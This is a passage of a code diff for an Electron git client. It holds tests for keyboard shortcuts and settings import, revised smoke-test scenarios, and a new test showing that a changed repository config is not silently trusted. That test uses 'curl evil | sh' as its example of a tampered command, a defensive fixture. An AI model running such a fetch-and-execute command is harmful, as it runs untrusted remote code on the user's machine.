expect(acceleratorFromEvent(key('Digit1', { ctrlKey: true, shiftKey: true }), false)).toBe('CmdOrCtrl+Shift+1'); + expect(acceleratorFromEvent(key('KeyB', { altKey: true }), true)).toBe('Alt+B'); + }); + + it('refuses combinations that would swallow normal typing or are only modifiers', () => { + expect(acceleratorFromEvent(key('KeyK'), false)).toBeNull(); + expect(acceleratorFromEvent(key('KeyK', { shiftKey: true }), false)).toBeNull(); + expect(acceleratorFromEvent(key('ControlLeft', { ctrlKey: true }), false)).toBeNull(); + expect(acceleratorFromEvent(key('Numpad5', { ctrlKey: true }), false)).toBeNull(); + }); + + it('matches exactly the bound combination, with CmdOrCtrl resolved per platform', () => { + expect(matchesAccelerator('CmdOrCtrl+1', key('Digit1', { ctrlKey: true }), false)).toBe(true); + expect(matchesAccelerator('CmdOrCtrl+1', key('Digit1', { metaKey: true }), true)).toBe(true); + expect(matchesAccelerator('CmdOrCtrl+1', key('Digit1', { ctrlKey: true }), true)).toBe(false); + expect(matchesAccelerator('CmdOrCtrl+1', key('Digit1', { ctrlKey: true, shiftKey: true }), false)).toBe(false); + expect(matchesAccelerator('CmdOrCtrl+Enter', key('Enter', { ctrlKey: true }), false)).toBe(true); + expect(matchesAccelerator('CommandOrControl+Return', key('NumpadEnter', { ctrlKey: true }), false)).toBe(true); + expect(matchesAccelerator('Alt+B', key('KeyB', { altKey: true }), true)).toBe(true); + expect(matchesAccelerator(null, key('KeyB', { altKey: true }), true)).toBe(false); + }); + + it('rejects malformed accelerators', () => { + for (const bad of ['', 'Ctrl+', 'Ctrl++K', 'K', 'Shift+K', 'Hyper+K', 'Ctrl+Banana']) expect(isValidAccelerator(bad), bad).toBe(false); + expect(canonicalAccelerator('Shift+Ctrl+k', false)).toBe('Ctrl+Shift+K'); + }); + + it('formats for display with the platform modifier', () => { + expect(formatAccelerator('CmdOrCtrl+Shift+O', false)).toBe('Ctrl+Shift+O'); + expect(formatAccelerator('CmdOrCtrl+Shift+O', true)).toBe('⌘+Shift+O'); + }); +}); + +describe('portable settings', () => { + const withShortcuts = { ...DEFAULT_SETTINGS, shortcuts: { push: 'CmdOrCtrl+Alt+P', pull: null } }; + const importFile = (shortcuts: unknown) => + validateSettingsExport({ schema: 1, app: 'gitgood', version: '1', exportedAt: 'x', platform: 'linux', preferences: { shortcuts } }); + + it('exports the overrides', () => { + expect(buildPortablePreferences(withShortcuts).shortcuts).toEqual({ push: 'CmdOrCtrl+Alt+P', pull: null }); + }); + + it('keeps valid overrides on import and warns about the rest', () => { + const result = importFile({ push: 'CmdOrCtrl+Alt+P', fetch: 'nonsense', bogus: 'CmdOrCtrl+Q' }); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(result.data.preferences?.shortcuts).toEqual({ push: 'CmdOrCtrl+Alt+P' }); + expect(result.warnings.join('\n')).toMatch(/shortcuts/); + }); + + it('merge overlays per action; replace resets what the file omits', () => { + const incoming = { shortcuts: { fetch: 'CmdOrCtrl+Alt+T' } }; + expect(buildPreferencesPatch(withShortcuts, incoming, 'merge').shortcuts).toEqual({ push: 'CmdOrCtrl+Alt+P', pull: null, fetch: 'CmdOrCtrl+Alt+T' }); + expect(buildPreferencesPatch(withShortcuts, incoming, 'replace').shortcuts).toEqual({ fetch: 'CmdOrCtrl+Alt+T' }); + expect(buildPreferencesPatch(withShortcuts, {}, 'replace').shortcuts).toEqual({}); + expect(buildPreferencesPatch(withShortcuts, {}, 'merge').shortcuts).toEqual({ push: 'CmdOrCtrl+Alt+P', pull: null }); + }); +}); diff --git a/test/smoke/scenarios/06-conflicts-dialog.json b/test/smoke/scenarios/06-conflicts-dialog.json index 992e98e..93a1c1b 100644 --- a/test/smoke/scenarios/06-conflicts-dialog.json +++ b/test/smoke/scenarios/06-conflicts-dialog.json @@ -4,7 +4,7 @@ "steps": [ { "wait": 1500 }, { - "js": "(async () => { await window.__gitgood.actions.addLocalRepository(__REPO_PATH__); await new Promise((r) => setTimeout(r, 300)); await window.__gitgood.actions.mergeBranch('feature', false); await new Promise((r) => setTimeout(r, 300)); const s = window.__gitgood.store.get(); return JSON.stringify({ dialogKind: s.dialog && s.dialog.kind, hasConflicts: s.status && s.status.hasConflicts, operationKind: s.status && s.status.operation.kind, conflictedFiles: (s.status ? s.status.files : []).filter((f) => f.conflict).map((f) => f.path) }); })()", + "js": "(async () => { await window.__gitgood.actions.addLocalRepository(__REPO_PATH__); await new Promise((r) => setTimeout(r, 300)); await window.__gitgood.actions.mergeBranch('feature', false); for (let i = 0; i < 100 && !(window.__gitgood.store.get().dialog && window.__gitgood.store.get().dialog.kind === 'conflicts'); i++) await new Promise((r) => setTimeout(r, 50)); const s = window.__gitgood.store.get(); return JSON.stringify({ dialogKind: s.dialog && s.dialog.kind, hasConflicts: s.status && s.status.hasConflicts, operationKind: s.status && s.status.operation.kind, conflictedFiles: (s.status ? s.status.files : []).filter((f) => f.conflict).map((f) => f.path) }); })()", "dump": "state.json" }, { "shot": "screenshot.png" } diff --git a/test/smoke/scenarios/14-signing-failure.json b/test/smoke/scenarios/14-signing-failure.json index 857e632..de6fe5e 100644 --- a/test/smoke/scenarios/14-signing-failure.json +++ b/test/smoke/scenarios/14-signing-failure.json @@ -14,7 +14,7 @@ }, { "shot": "signing-failed-dialog.png" }, { - "js": "(async () => { const onUnsigned = window.__gitgood.store.get().dialog.onUnsigned; window.__gitgood.store.set({ dialog: null, dialogStack: [] }); onUnsigned(); await new Promise((r) => setTimeout(r, 500)); window.__gitgood.actions.setView('history'); await window.__gitgood.actions.loadHistory(true); const after = window.__gitgood.store.get(); return JSON.stringify({ dialog: after.dialog ? after.dialog.kind : null, historyTop: after.history.commits[0] && after.history.commits[0].summary }); })()", + "js": "(async () => { const onUnsigned = window.__gitgood.store.get().dialog.onUnsigned; window.__gitgood.store.set({ dialog: null, dialogStack: [] }); onUnsigned(); await new Promise((r) => setTimeout(r, 1500)); window.__gitgood.actions.setView('history'); await window.__gitgood.actions.loadHistory(true); const after = window.__gitgood.store.get(); return JSON.stringify({ dialog: after.dialog ? after.dialog.kind : null, historyTop: after.history.commits[0] && after.history.commits[0].summary }); })()", "dump": "commit-unsigned.json" } ], diff --git a/test/smoke/scenarios/17-notifications-inbox.json b/test/smoke/scenarios/17-notifications-inbox.json index 808fe43..143f487 100644 --- a/test/smoke/scenarios/17-notifications-inbox.json +++ b/test/smoke/scenarios/17-notifications-inbox.json @@ -20,7 +20,7 @@ "dump": "state.json" }, { - "js": "(async () => { window.__gitgood.actions.toggleInboxPanel(); await new Promise((r) => setTimeout(r, 300)); const groups = Array.from(document.querySelectorAll('.inbox-panel .list-group-header')).map((el) => el.textContent); const chips = Array.from(document.querySelectorAll('.inbox-panel .badge')).map((el) => el.textContent); return JSON.stringify({ open: window.__gitgood.store.get().inboxUi.open, groups, chips }); })()", + "js": "(async () => { window.__gitgood.actions.toggleInboxPanel(); for (let i = 0; i < 40 && !document.querySelector('.inbox-panel .list-group-header'); i++) await new Promise((r) => setTimeout(r, 50)); const groups = Array.from(document.querySelectorAll('.inbox-panel .list-group-header')).map((el) => el.textContent); const chips = Array.from(document.querySelectorAll('.inbox-panel .badge')).map((el) => el.textContent); return JSON.stringify({ open: window.__gitgood.store.get().inboxUi.open, groups, chips }); })()", "dump": "panel.json" }, { "shot": "bell-and-panel.png" }, diff --git a/test/smoke/scenarios/19-settings-sync-dialogs-render.json b/test/smoke/scenarios/19-settings-sync-dialogs-render.json index 0687f20..14bd5da 100644 --- a/test/smoke/scenarios/19-settings-sync-dialogs-render.json +++ b/test/smoke/scenarios/19-settings-sync-dialogs-render.json @@ -4,7 +4,7 @@ "steps": [ { "wait": 1500 }, { - "js": "(async () => { window.__gitgood.actions.openDialog({ kind: 'export-settings' }); await new Promise((r) => setTimeout(r, 300)); const text = document.body.textContent || ''; const d = window.__gitgood.store.get().dialog; return JSON.stringify({ dialogKind: d && d.kind, hasChecklist: text.includes('Repository list') && text.includes('Integrations'), hasExclusionNote: text.includes('never includes your API key') }); })()", + "js": "(async () => { window.__gitgood.actions.openDialog({ kind: 'export-settings' }); for (let i = 0; i < 40 && !(document.body.textContent || '').includes('never includes your API key'); i++) await new Promise((r) => setTimeout(r, 50)); const text = document.body.textContent || ''; const d = window.__gitgood.store.get().dialog; return JSON.stringify({ dialogKind: d && d.kind, hasChecklist: text.includes('Repository list') && text.includes('Integrations'), hasExclusionNote: text.includes('never includes your API key') }); })()", "dump": "export-dialog.json" }, { "shot": "export-dialog.png" }, diff --git a/test/smoke/scenarios/20-update-banner.json b/test/smoke/scenarios/20-update-banner.json index b7d4af5..1b32e7a 100644 --- a/test/smoke/scenarios/20-update-banner.json +++ b/test/smoke/scenarios/20-update-banner.json @@ -4,7 +4,7 @@ "steps": [ { "wait": 1500 }, { - "js": "(async () => { window.__gitgood.actions.openDialog({ kind: 'about' }); await new Promise((r) => setTimeout(r, 400)); const text = document.body.textContent || ''; return JSON.stringify({ realStatus: window.__gitgood.store.get().updateState.status, hasUnavailableText: text.includes('Updates unavailable in this build') }); })()", + "js": "(async () => { window.__gitgood.actions.openDialog({ kind: 'about' }); for (let i = 0; i < 40 && !(document.body.textContent || '').includes('Updates unavailable in this build'); i++) await new Promise((r) => setTimeout(r, 50)); const text = document.body.textContent || ''; return JSON.stringify({ realStatus: window.__gitgood.store.get().updateState.status, hasUnavailableText: text.includes('Updates unavailable in this build') }); })()", "dump": "about-disabled.json" }, { "shot": "about-disabled.png" }, @@ -14,7 +14,7 @@ }, { "shot": "banner.png" }, { - "js": "(async () => { window.__gitgood.actions.openUpdateNotes(); await new Promise((r) => setTimeout(r, 300)); const d = window.__gitgood.store.get().dialog; const text = document.body.textContent || ''; return JSON.stringify({ dialogKind: d && d.kind, hasNotes: text.includes('Fixes a thing.'), hasLink: text.includes('github.com/erwin-wee/gitgood') }); })()", + "js": "(async () => { window.__gitgood.actions.openUpdateNotes(); for (let i = 0; i < 40 && !(document.body.textContent || '').includes('Fixes a thing.'); i++) await new Promise((r) => setTimeout(r, 50)); const d = window.__gitgood.store.get().dialog; const text = document.body.textContent || ''; return JSON.stringify({ dialogKind: d && d.kind, hasNotes: text.includes('Fixes a thing.'), hasLink: text.includes('github.com/erwin-wee/gitgood') }); })()", "dump": "notes.json" }, { "shot": "notes.png" }, diff --git a/test/smoke/scenarios/34-agent-review-handoff.json b/test/smoke/scenarios/34-agent-review-handoff.json index 60037e3..8af8aae 100644 --- a/test/smoke/scenarios/34-agent-review-handoff.json +++ b/test/smoke/scenarios/34-agent-review-handoff.json @@ -60,7 +60,7 @@ "shot": "findings.png" }, { - "js": "(async () => { const before = window.__gitgood.store.get().precommitReview.run.id; await window.__gitgood.actions.handleProtocolReviewRerun({ repoPath: __REPO_PATH__ }); for (let i = 0; i < 80; i++) { const s = window.__gitgood.store.get(); if (!s.precommitReview.running && s.precommitReview.run && s.precommitReview.run.id !== before) break; await new Promise((r) => setTimeout(r, 150)); } await new Promise((r) => setTimeout(r, 500)); const s = window.__gitgood.store.get(); const run = s.precommitReview.run; const latest = await window.__gitgood.invoke('ai.review.latest', __REPO_PATH__); const base = __REPO_PATH__ + '/.git/gitgood/review/'; const exists = (p) => window.__gitgood.invoke('app.pathExists', p); return JSON.stringify({ changed: !!run && run.id !== before, latestMatches: !!latest && !!run && latest.id === run.id, oldRunJson: await exists(base + 'runs/' + before + '.json'), newRunJson: run ? await exists(base + 'runs/' + run.id + '.json') : false, findingCount: run ? run.findings.filter((f) => !f.dismissed).length : 0 }); })()", + "js": "(async () => { const before = window.__gitgood.store.get().precommitReview.run.id; await window.__gitgood.actions.handleProtocolReviewRerun({ repoPath: __REPO_PATH__ }); const confirmDialog = window.__gitgood.store.get().dialog; if (!confirmDialog || confirmDialog.kind !== 'confirm') throw new Error('a link without a token must ask for confirmation'); window.__gitgood.store.set({ dialog: null }); await confirmDialog.onConfirm(); for (let i = 0; i < 80; i++) { const s = window.__gitgood.store.get(); if (!s.precommitReview.running && s.precommitReview.run && s.precommitReview.run.id !== before) break; await new Promise((r) => setTimeout(r, 150)); } await new Promise((r) => setTimeout(r, 500)); const s = window.__gitgood.store.get(); const run = s.precommitReview.run; const latest = await window.__gitgood.invoke('ai.review.latest', __REPO_PATH__); const base = __REPO_PATH__ + '/.git/gitgood/review/'; const exists = (p) => window.__gitgood.invoke('app.pathExists', p); return JSON.stringify({ changed: !!run && run.id !== before, latestMatches: !!latest && !!run && latest.id === run.id, oldRunJson: await exists(base + 'runs/' + before + '.json'), newRunJson: run ? await exists(base + 'runs/' + run.id + '.json') : false, findingCount: run ? run.findings.filter((f) => !f.dismissed).length : 0 }); })()", "dump": "rerun.json" }, { @@ -75,7 +75,7 @@ "shot": "notice.png" }, { - "js": "(async () => { const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); window.__gitgood.store.set({ dialog: null }); const ai = window.__gitgood.store.get().settings.ai; await window.__gitgood.actions.updateSettings({ ai: { ...ai, agentCommand: 'custom', agentCustomCommand: '' } }); window.__gitgood.store.set({ dialog: { kind: 'settings', tab: 'ai' } }); await sleep(400); const label = Array.from(document.querySelectorAll('.field label')).find((l) => l.textContent === 'Command'); const input = label && label.parentElement.querySelector('input'); if (!input) return JSON.stringify({ error: 'no Command input' }); const set = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; const type = (v) => { set.call(input, v); input.dispatchEvent(new Event('input', { bubbles: true })); }; type('aider --fix'); await sleep(400); const afterInvalid = window.__gitgood.store.get().settings.ai.agentCustomCommand; const errorText = (label.parentElement.querySelector('.error') || {}).textContent || null; type('aider --file {file}'); await sleep(400); const afterValid = window.__gitgood.store.get().settings.ai.agentCustomCommand; return JSON.stringify({ afterInvalid, errorText, afterValid }); })()", + "js": "(async () => { const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); window.__gitgood.store.set({ dialog: null }); const ai = window.__gitgood.store.get().settings.ai; await window.__gitgood.actions.updateSettings({ ai: { ...ai, agentCommand: 'custom', agentCustomCommand: '' } }); window.__gitgood.store.set({ dialog: { kind: 'settings', tab: 'ai' } }); await sleep(400); const label = Array.from(document.querySelectorAll('.field label')).find((l) => l.textContent === 'Command'); const input = label && label.parentElement.querySelector('input'); if (!input) return JSON.stringify({ error: 'no Command input' }); const set = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; const type = (v) => { set.call(input, v); input.dispatchEvent(new Event('input', { bubbles: true })); }; type('aider --fix'); await sleep(400); const afterInvalid = window.__gitgood.store.get().settings.ai.agentCustomCommand; const errorText = (label.parentElement.querySelector('.error') || {}).textContent || null; type('aider --file \"{file}\"'); await sleep(400); const afterValid = window.__gitgood.store.get().settings.ai.agentCustomCommand; return JSON.stringify({ afterInvalid, errorText, afterValid }); })()", "dump": "settings.json" }, { @@ -171,7 +171,7 @@ { "dump": "settings.json", "jsonPath": "afterValid", - "equals": "aider --file {file}" + "equals": "aider --file \"{file}\"" } ] } diff --git a/test/smoke/scenarios/35-windowed-intraline.json b/test/smoke/scenarios/35-windowed-intraline.json index a5973a8..785b741 100644 --- a/test/smoke/scenarios/35-windowed-intraline.json +++ b/test/smoke/scenarios/35-windowed-intraline.json @@ -6,7 +6,7 @@ "wait": 1500 }, { - "js": "(async () => {\n const {store,actions}=window.__gitgood;\n const pause=()=>new Promise(r=>setTimeout(r,80));\n const wait=async f=>{for(let i=0;i<100;i++){if(f())return;refresh();await pause();}throw Error('Diff did not settle');};\n const assert=(v,message)=>{if(!v)throw Error(message);};\n let refresh=()=>{};\n await actions.addLocalRepository(__REPO_PATH__);await pause();\n await actions.updateSettings({diffSyntaxHighlighting:false,diffShowIntraline:true,diffViewMode:'unified',diffWrapLines:false});\n const count=250;\n const show=(oldWord,newWord)=>{\n const lines=['delete','add'].flatMap(type=>Array.from({length:count},(_,i)=>({type,text:`const value${i} = ${type==='delete'?oldWord:newWord};`,oldLineNumber:type==='delete'?i+1:null,newLineNumber:type==='add'?i+1:null})));\n const diff={kind:'text',oldPath:'src/app.ts',newPath:'src/app.ts',language:'typescript',oldContent:null,newContent:null,hasCRLF:false,lineCount:lines.length,hunks:[{header:'@@ -1,250 +1,250 @@',oldStart:1,oldLines:count,newStart:1,newLines:count,lines}]};\n const apply=()=>store.set(s=>({changes:{...s.changes,selectedPaths:['src/app.ts']},diff:{...s.diff,key:'working:src/app.ts|ws=false',diff,loading:false,error:null}}));apply();refresh=apply;\n };\n const marks=cls=>[...document.querySelectorAll('.'+cls)].map(e=>e.textContent);\n const expectMarks=async(cls,word)=>{await wait(()=>marks(cls).includes(word));assert(marks(cls).every(v=>v===word),'Incorrect '+cls+' highlights');};\n show('oldValue','newValue');await expectMarks('word-del','oldValue');await pause();\n const body=document.querySelector('.diff-body');body.style.height='300px';body.style.flex='none';await pause();\n body.scrollTop=body.scrollHeight;body.dispatchEvent(new Event('scroll',{bubbles:true}));await expectMarks('word-add','newValue');\n body.scrollTop=0;await expectMarks('word-del','oldValue');\n await actions.updateSettings({diffViewMode:'split'});await expectMarks('word-del','oldValue');await expectMarks('word-add','newValue');\n body.scrollTop=body.scrollHeight;body.dispatchEvent(new Event('scroll',{bubbles:true}));await wait(()=>document.querySelector('tr[data-new-line=\"250\"]'));await expectMarks('word-add','newValue');\n await actions.updateSettings({diffShowIntraline:false});await wait(()=>!document.querySelector('.word-add,.word-del'));\n await actions.updateSettings({diffShowIntraline:true});await expectMarks('word-add','newValue');\n show('previousIdentifier','replacementIdentifier');await expectMarks('word-add','replacementIdentifier');await expectMarks('word-del','previousIdentifier');\n return JSON.stringify({passed:true});\n})()", + "js": "(async () => {\n const {store,actions}=window.__gitgood;\n const pause=()=>new Promise(r=>setTimeout(r,80));\n const wait=async f=>{for(let i=0;i<100;i++){if(f())return;refresh();position();await pause();}throw Error('Diff did not settle: '+JSON.stringify({scroll:document.querySelector('.diff-body')?.scrollTop, mode:store.get().settings.diffViewMode,marks:[...document.querySelectorAll('.word-add,.word-del')].slice(0,3).map(e=>e.textContent)}));};\n const assert=(v,message)=>{if(!v)throw Error(message);};\n let refresh=()=>{};\n let position=()=>{};\n await actions.addLocalRepository(__REPO_PATH__);await pause();\n await actions.updateSettings({diffSyntaxHighlighting:false,diffShowIntraline:true,diffViewMode:'unified',diffWrapLines:false});\n const count=250;\n const show=(oldWord,newWord)=>{\n const lines=['delete','add'].flatMap(type=>Array.from({length:count},(_,i)=>({type,text:`const value${i} = ${type==='delete'?oldWord:newWord};`,oldLineNumber:type==='delete'?i+1:null,newLineNumber:type==='add'?i+1:null})));\n const diff={kind:'text',oldPath:'src/app.ts',newPath:'src/app.ts',language:'typescript',oldContent:null,newContent:null,hasCRLF:false,lineCount:lines.length,hunks:[{header:'@@ -1,250 +1,250 @@',oldStart:1,oldLines:count,newStart:1,newLines:count,lines}]};\n const apply=()=>store.set(s=>({changes:{...s.changes,selectedPaths:['src/app.ts']},diff:{...s.diff,key:'working:src/app.ts|ws=false',diff,loading:false,error:null}}));apply();refresh=apply;\n };\n const marks=cls=>[...document.querySelectorAll('.'+cls)].map(e=>e.textContent);\n const expectMarks=async(cls,word)=>{await wait(()=>marks(cls).includes(word));assert(marks(cls).every(v=>v===word),'Incorrect '+cls+' highlights');};\n show('oldValue','newValue');await expectMarks('word-del','oldValue');await pause();\n const body=document.querySelector('.diff-body');body.style.height='300px';body.style.flex='none';await pause();\n position=()=>{const el=document.querySelector('.diff-body');el.scrollTop=el.scrollHeight;el.dispatchEvent(new Event('scroll',{bubbles:true}));};position();await expectMarks('word-add','newValue');\n position=()=>{const el=document.querySelector('.diff-body');el.scrollTop=0;el.dispatchEvent(new Event('scroll',{bubbles:true}));};position();await expectMarks('word-del','oldValue');\n await actions.updateSettings({diffViewMode:'split'});await expectMarks('word-del','oldValue');await expectMarks('word-add','newValue');\n position=()=>{const el=document.querySelector('.diff-body');el.scrollTop=el.scrollHeight;el.dispatchEvent(new Event('scroll',{bubbles:true}));};position();await wait(()=>document.querySelector('tr[data-new-line=\"250\"]'));await expectMarks('word-add','newValue');\n await actions.updateSettings({diffShowIntraline:false});await wait(()=>!document.querySelector('.word-add,.word-del'));\n await actions.updateSettings({diffShowIntraline:true});await expectMarks('word-add','newValue');\n show('previousIdentifier','replacementIdentifier');await expectMarks('word-add','replacementIdentifier');await expectMarks('word-del','previousIdentifier');\n return JSON.stringify({passed:true});\n})()", "dump": "result.json" }, { diff --git a/test/smoke/scenarios/36-shortcut-reset-conflict.json b/test/smoke/scenarios/36-shortcut-reset-conflict.json new file mode 100644 index 0000000..40548d8 --- /dev/null +++ b/test/smoke/scenarios/36-shortcut-reset-conflict.json @@ -0,0 +1,16 @@ +{ + "name": "shortcut-reset-conflict", + "repoKind": "none", + "steps": [ + { + "js": "(async () => { const { actions, store } = window.__gitgood; const wait = async (fn) => { for (let i = 0; i < 100; i++) { const value = fn(); if (value) return value; await new Promise(r => setTimeout(r, 50)); } throw new Error('Shortcut reset did not settle'); }; await actions.updateSettings({ shortcuts: { push: 'CmdOrCtrl+Alt+P', find: 'CmdOrCtrl+P' } }); await actions.handleMenuAction('keyboard-shortcuts'); const reset = await wait(() => document.querySelector('[aria-label=\"Reset shortcut for Push\"]')); reset.click(); const confirm = await wait(() => document.querySelector('[role=dialog] .callout button.primary')); const before = store.get().settings.shortcuts; const unchangedBeforeConsent = before.push === 'CmdOrCtrl+Alt+P' && before.find === 'CmdOrCtrl+P'; confirm.click(); await wait(() => store.get().settings.shortcuts.find === null); const after = store.get().settings.shortcuts; return JSON.stringify({ unchangedBeforeConsent, pushReset: !Object.hasOwn(after, 'push'), findUnbound: after.find === null }); })()", + "dump": "result.json" + }, + { "shot": "resolved.png" } + ], + "expect": [ + { "dump": "result.json", "jsonPath": "unchangedBeforeConsent", "equals": true }, + { "dump": "result.json", "jsonPath": "pushReset", "equals": true }, + { "dump": "result.json", "jsonPath": "findUnbound", "equals": true } + ] +} diff --git a/test/triage-service.test.ts b/test/triage-service.test.ts index 26d3603..284dd44 100644 --- a/test/triage-service.test.ts +++ b/test/triage-service.test.ts @@ -43,6 +43,7 @@ function makePr(number: number): PullRequest { changedFiles: 1, mergeable: 'MERGEABLE', mergeStateStatus: 'CLEAN', + autoMerge: null, labels: [], assignees: [], reviewRequests: [], diff --git a/test/triage.test.ts b/test/triage.test.ts index d5b50c1..54126f8 100644 --- a/test/triage.test.ts +++ b/test/triage.test.ts @@ -30,6 +30,7 @@ function pr(overrides: Partial = {}): PullRequest { changedFiles: 2, mergeable: 'MERGEABLE', mergeStateStatus: 'CLEAN', + autoMerge: null, labels: [], assignees: [], reviewRequests: [], diff --git a/test/trust-config.test.ts b/test/trust-config.test.ts new file mode 100644 index 0000000..43362de --- /dev/null +++ b/test/trust-config.test.ts @@ -0,0 +1,45 @@ +import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { createHandlers, type CoreHandlers, type HandlerDeps } from '../src/main/core/handlers'; +import { Store } from '../src/main/store'; + +let dir: string; +let repo: string; +let store: Store; +let handlers: CoreHandlers['handlers']; + +const writeConfig = (command: string) => writeFile(join(repo, '.gitgood', 'config.json'), JSON.stringify({ postResolveCheck: command })); + +beforeEach(async () => { + dir = await mkdtemp(join(tmpdir(), 'gg-trust-')); + repo = join(dir, 'repo'); + await mkdir(join(repo, '.gitgood'), { recursive: true }); + store = new Store(join(dir, 'data')); + store.load(); + handlers = createHandlers({ store, nlPalette: { setDispatcher: () => undefined } } as unknown as HandlerDeps).handlers; +}); + +afterEach(() => rm(dir, { recursive: true, force: true })); + +describe('repo.trustConfig', () => { + it('trusts the command the user was shown', async () => { + await writeConfig('npm test'); + expect(await handlers['repo.trustConfig'](repo, true, 'npm test')).toEqual({ ok: true }); + expect((await handlers['repo.checkConfig'](repo)).trustState).toBe('trusted'); + }); + + it('refuses when the config changed after the dialog was shown, and returns the current command', async () => { + await writeConfig('npm test'); + await writeConfig('curl evil | sh'); + expect(await handlers['repo.trustConfig'](repo, true, 'npm test')).toEqual({ ok: false, command: 'curl evil | sh' }); + expect((await handlers['repo.checkConfig'](repo)).trustState).toBe('unknown'); + }); + + it('still records a decline whatever the file says now', async () => { + await writeConfig('other'); + expect(await handlers['repo.trustConfig'](repo, false, 'npm test')).toEqual({ ok: true }); + expect((await handlers['repo.checkConfig'](repo)).trustState).toBe('declined'); + }); +}); diff --git a/test/update-core.test.ts b/test/update-core.test.ts index f7e6ab5..cd0d94e 100644 --- a/test/update-core.test.ts +++ b/test/update-core.test.ts @@ -1,5 +1,6 @@ import { describe, expect, it } from 'vitest'; -import { canInstall, compareVersions, detectDisabledReason, isEligibleForChannel, isNewerVersion, isPerMachineInstall, reduceUpdateState, type ReleaseInfo } from '../src/main/update/update-core'; +import { compareVersions } from '../src/shared/util'; +import { canInstall, detectDisabledReason, isEligibleForChannel, isNewerVersion, isPerMachineInstall, reduceUpdateState, type ReleaseInfo } from '../src/main/update/update-core'; import type { UpdateState } from '../src/shared/types'; function release(overrides: Partial = {}): ReleaseInfo { @@ -161,8 +162,12 @@ describe('detectDisabledReason', () => { expect(detectDisabledReason({ ...packaged, platform: 'darwin' })).toMatch(/unsigned/i); }); - it('allows a packaged, non-portable, non-AppImage, non-macOS build through', () => { - expect(detectDisabledReason(packaged)).toBeNull(); + it('disables a packaged Linux run that is not an AppImage (.deb)', () => { + expect(detectDisabledReason(packaged)).toMatch(/\.deb/); + }); + + it('allows a packaged Windows build through', () => { + expect(detectDisabledReason({ ...packaged, platform: 'win32' })).toBeNull(); }); }); diff --git a/tsconfig.node.json b/tsconfig.node.json index 9485fae..6ea6025 100644 --- a/tsconfig.node.json +++ b/tsconfig.node.json @@ -5,5 +5,5 @@ "types": ["node"], "noEmit": true }, - "include": ["src/main/**/*.ts", "src/preload/**/*.ts", "src/server/**/*.ts", "src/shared/**/*.ts", "electron.vite.config.ts"] + "include": ["src/main/**/*.ts", "src/preload/**/*.ts", "src/server/**/*.ts", "src/mcp/**/*.ts", "src/shared/**/*.ts", "electron.vite.config.ts"] } diff --git a/vite.mcp.config.ts b/vite.mcp.config.ts new file mode 100644 index 0000000..2158fca --- /dev/null +++ b/vite.mcp.config.ts @@ -0,0 +1,21 @@ +import { readFileSync } from 'node:fs'; +import { resolve } from 'node:path'; +import { defineConfig } from 'vite'; + +// The MCP server (src/mcp) as one dependency-free file, so `node out/mcp/index.mjs` works from a +// checkout and `ELECTRON_RUN_AS_NODE=1 gitgood -e …` works from an installed app (see plugin/README.md). +export default defineConfig({ + resolve: { alias: { '@shared': resolve('src/shared') } }, + define: { __GITGOOD_VERSION__: JSON.stringify(JSON.parse(readFileSync('package.json', 'utf8')).version) }, + build: { + ssr: true, + outDir: 'out/mcp', + emptyOutDir: true, + target: 'node20', + sourcemap: true, + rollupOptions: { + input: resolve('src/mcp/index.ts'), + output: { entryFileNames: 'index.mjs', format: 'es' }, + }, + }, +});

{label} - {keys.split(' / ').map((k, i) => ( - - {i > 0 ? ' / ' : ''} - {k} - - ))} + {recording === id ? Press the new keys… (Esc cancels) : shortcuts[id] ? {formatAccelerator(shortcuts[id], isMac)} : Unassigned}{' '} + + {shortcuts[id] ? : null} + {Object.hasOwn(overrides, id) ? : null}